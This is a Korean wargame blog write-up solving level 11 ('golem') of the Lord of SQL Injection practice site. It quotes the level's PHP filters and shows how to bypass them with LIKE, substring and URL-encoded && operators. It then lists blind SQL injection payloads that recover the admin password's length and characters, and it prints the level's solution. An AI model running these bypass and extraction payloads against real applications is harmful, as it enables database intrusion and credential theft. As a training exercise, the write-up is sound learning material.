일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- UTM
- No module named ‘requests’
- Python requests 설치
- sqli
- SQL i
- MySQL
- ModuleNotFoundError: No module named ‘requests’
- str_replace함수
- mocOS
- sql injection
- 2002(HY000)
- 우분투
- Kail Linux
- Union SQL Injection
- Error Based SQL Injection
- XAVIS
- 1819 (HY000):
- M2
- SQLi wargame
- 가상머신 os
- ubuntu
- Lord of SQLinjection
- LOS 5번
- blind SQLi
- docker compose
- btmp
- utmp
- los.rubiya.kr
- goblin 3번
- Lord of SQL Injection
- Today
- Total
klaus
[Lord of SQL Injection] golem 11번 본문
0. golem
오픈 때부터 지금까지 하고 있는....
1. 전체코드
2. 주요 코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
preg_match를 사용하여 특수문자와 논리 연산자를 필터링합니다.
id의 경우 guest로 고정되어 있고, admin계정으로 로그인/패스워드를 입력합니다.
마지막 중요 코드를 보면 solve조건이 패스워드를 GET방식으로 정확하게 입력하여야 문제를 풀 수 있습니다.
즉, Blind SQLi를 통해 해결해야 하는 문제입니다.
3. SOLVE
preg_match 필터링되는 문자열 및 논리 연산자를 확인해봅시다.
추가된 부분은 =와 substr 추가적으로 필터링됩니다.
우회하기 위해
LIKE(parameter) : 등호(=)의 대체로 사용하였습니다.
substr를 필터링해주는데.. 필자는 substring 사용
AND는 && (URL Encoding: %26%26), OR는 ||를 사용하였습니다.
기본 틀은 pw=0' OR(||) 사용하여 Guest를 닫아주고 id like 'admin' and(%26%26) like '으로
?pw=0' || id like 'admin' %26%26 (SQLi) like '
step 1 패스워드 길이 체크
?pw=0' || id like 'admin' %26%26 length(pw) like '8을 입력하였을 때 참 pw길이가 8글자로 참 값이 나옵니다.
step 2 패스워드 찾기
?pw=0' || id like 'admin' %26%26 substring(pw,1,1) like '7
?pw=0' || id like 'admin' %26%26 substring(pw,2,1) like '7
?pw=0' || id like 'admin' %26%26 substring(pw,3,1) like 'd
?pw=0' || id like 'admin' %26%26 substring(pw,4,1) like '6
?pw=0' || id like 'admin' %26%26 substring(pw,5,1) like '2
?pw=0' || id like 'admin' %26%26 substring(pw,6,1) like '9
?pw=0' || id like 'admin' %26%26 substring(pw,7,1) like '0
?pw=0' || id like 'admin' %26%26 substring(pw,8,1) like 'b
무식하게 확인해보았습니다.
pw=77d6290b
'모의해킹 > Wargame' 카테고리의 다른 글
[Lord of SQL Injection] bugbear 13번 (0) | 2022.12.21 |
---|---|
[Lord of SQL Injection] darkknight 12번 (0) | 2022.12.16 |
[Lord of SQL Injection] skeleton 10번 문제 (0) | 2022.12.08 |
[Lord of SQL Injection] vampire 9번 문제 (0) | 2022.12.07 |
[Lord of SQL Injection] troll 8번 문제(feat. black list, white list) (0) | 2022.12.06 |